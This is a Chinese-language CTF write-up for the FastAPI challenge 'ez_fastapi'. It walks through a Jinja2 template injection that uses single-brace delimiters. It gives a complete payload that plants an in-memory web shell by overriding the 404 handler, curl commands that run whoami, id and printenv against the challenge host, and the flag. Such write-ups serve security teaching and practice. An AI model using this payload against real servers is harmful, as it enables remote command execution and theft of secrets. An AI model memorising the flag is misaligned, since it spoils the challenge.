[玄武杯 2025]ez_fastapi
题目信息
- 类型:Web
- 题目状态:已解出
- 目标:http://node1.anna.nssctf.cn:22800/
- 核心漏洞:FastAPI 中自定义 Jinja2 分隔符导致的 SSTI,随后通过覆盖 404 异常处理器实现内存 RCE
Flag
NSSCTF{4adf5ec1-5a07-4bf6-a40e-10c844a3b94b}
入口与现象
先访问首页和 OpenAPI:
GET /
GET /openapi.json
接口面非常小,只有两个路由:
{
"/": "GET",
"/shellMe": "GET"
}
/shellMe 有一个查询参数 username,但无论传什么普通值,页面都还是:
<h1>Welcome Guest</h1>
这说明 username 不是直接体现在返回页里,而是很可能被用于别的后端逻辑。
接着测试花括号:
/shellMe?username={
/shellMe?username={{7*7}}
/shellMe?username={{config}}
可以观察到:
- 传入普通值时,页面始终正常返回
Welcome Guest - 传入单个
{时直接500 Internal Server Error - 这类现象很像模板字符串在后端被额外解释
分析过程
拿到 RCE 之后,先读了 /app/app.py,关键源码如下:
from fastapi import FastAPI, Request
from fastapi.responses import JSONResponse
from fastapi.templating import Jinja2Templates
from jinja2 import Environment
import uvicorn
app = FastAPI()
templates = Jinja2Templates(directory="templates")
Jinja2 = Environment(variable_start_string='{', variable_end_string='}')
@app.exception_handler(404)
async def handler_404(request, exc):
return JSONResponse(status_code=404, content={"message": "Not found"})
@app.get("/shellMe")
async def shellMe(request: Request, username="Guest"):
Jinja2.from_string("Welcome " + username).render()
return templates.TemplateResponse("shellme.html", {"request": request})
def method_disabled(*args, **kwargs):
raise NotImplementedError("此路不通!该方法已被管理员禁用。")
app.add_api_route = method_disabled
app.add_middleware = method_disabled
这里有两个关键点:
- 题目单独创建了一个 Jinja2 环境,并把变量分隔符改成了单花括号:
Jinja2 = Environment(variable_start_string='{', variable_end_string='}')
所以这里不是常见的 {{ ... }},而是:
{表达式}
username被直接拼进模板字符串后执行:
Jinja2.from_string("Welcome " + username).render()
这就是标准的 SSTI,而且是无回显 SSTI,因为最终响应返回的是固定模板 shellme.html,不是 render() 的结果。
为什么不能直接加新路由
源码里还把下面两个方法禁掉了:
app.add_api_route = method_disabled
app.add_middleware = method_disabled
也就是说常规的“内存马加新路由”走不通,需要找别的可持久化利用点。
但 app.add_exception_handler 没有被禁,所以可以改写 404 处理器,把不存在路径变成命令执行入口。
利用过程
第一步:利用 SSTI 覆盖 404 处理器
核心思路是:
- 通过 Jinja2 SSTI 调用
exec - 获取当前运行中的
FastAPIapp 对象 - 用
add_exception_handler注册新的 404 处理器 - 在处理器里读取
cmd参数并用os.popen执行 - 重建
middleware_stack使新处理器生效
实际 payload 如下:
{lipsum.__globals__['__builtins__']['exec']("__import__('sys').modules['app'].app.add_exception_handler(404,lambda request, exc:__import__('sys').modules['app'].app.__init__.__globals__['JSONResponse'](content={'message':__import__('os').popen(request.query_params.get('cmd') or 'whoami').read()}));app=__import__('sys').modules['app'].app;app.middleware_stack=app.build_middleware_stack()")}
发包:
curl "http://node1.anna.nssctf.cn:22800/shellMe?username=%7Blipsum.__globals__%5B'__builtins__'%5D%5B'exec'%5D(%22__import__('sys').modules%5B'app'%5D.app.add_exception_handler(404,lambda%20request,%20exc:__import__('sys').modules%5B'app'%5D.app.__init__.__globals__%5B'JSONResponse'%5D(content=%7B'message':__import__('os').popen(request.query_params.get('cmd')%20or%20'whoami').read()%7D));app=__import__('sys').modules%5B'app'%5D.app;app.middleware_stack=app.build_middleware_stack()%22)%7D"
这一步页面依旧返回固定的 Welcome Guest,但内存中的 404 处理器已经被改掉了。
第二步:访问不存在路径验证 RCE
访问任意不存在路径:
curl "http://node1.anna.nssctf.cn:22800/nope?cmd=whoami"
返回:
{"message":"ctf_user\n"}
继续验证:
curl "http://node1.anna.nssctf.cn:22800/notfound?cmd=id"
返回:
{"message":"uid=1000(ctf_user) gid=1000(ctf_user) groups=1000(ctf_user)\n"}
说明命令执行已经拿到。
第三步:读取环境变量拿 flag
先看根目录:
curl "http://node1.anna.nssctf.cn:22800/zzz?cmd=ls%20/"
返回能看到:
app
bin
boot
dev
etc
flag
home
...
再直接读环境变量:
curl "http://node1.anna.nssctf.cn:22800/zzz?cmd=printenv"
返回里可以直接看到:
FLAG=NSSCTF{4adf5ec1-5a07-4bf6-a40e-10c844a3b94b}
这就是本题 flag。
关键 payload / 命令
SSTI:
{lipsum.__globals__['__builtins__']['exec']("__import__('sys').modules['app'].app.add_exception_handler(404,lambda request, exc:__import__('sys').modules['app'].app.__init__.__globals__['JSONResponse'](content={'message':__import__('os').popen(request.query_params.get('cmd') or 'whoami').read()}));app=__import__('sys').modules['app'].app;app.middleware_stack=app.build_middleware_stack()")}
验证 RCE:
curl "http://node1.anna.nssctf.cn:22800/nope?cmd=whoami"
拿 flag:
curl "http://node1.anna.nssctf.cn:22800/zzz?cmd=printenv"
总结
这题的关键不是传统的 {{ ... }},而是源码里把 Jinja2 变量分隔符改成了单花括号 { ... },所以普通 SSTI 测试姿势很容易走偏。
同时题目专门禁掉了 add_api_route 和 add_middleware,逼着我们换个角度做“内存持久化”。最终通过覆盖 404 异常处理器,把任意不存在路径变成命令执行入口,再从环境变量里直接拿到 flag。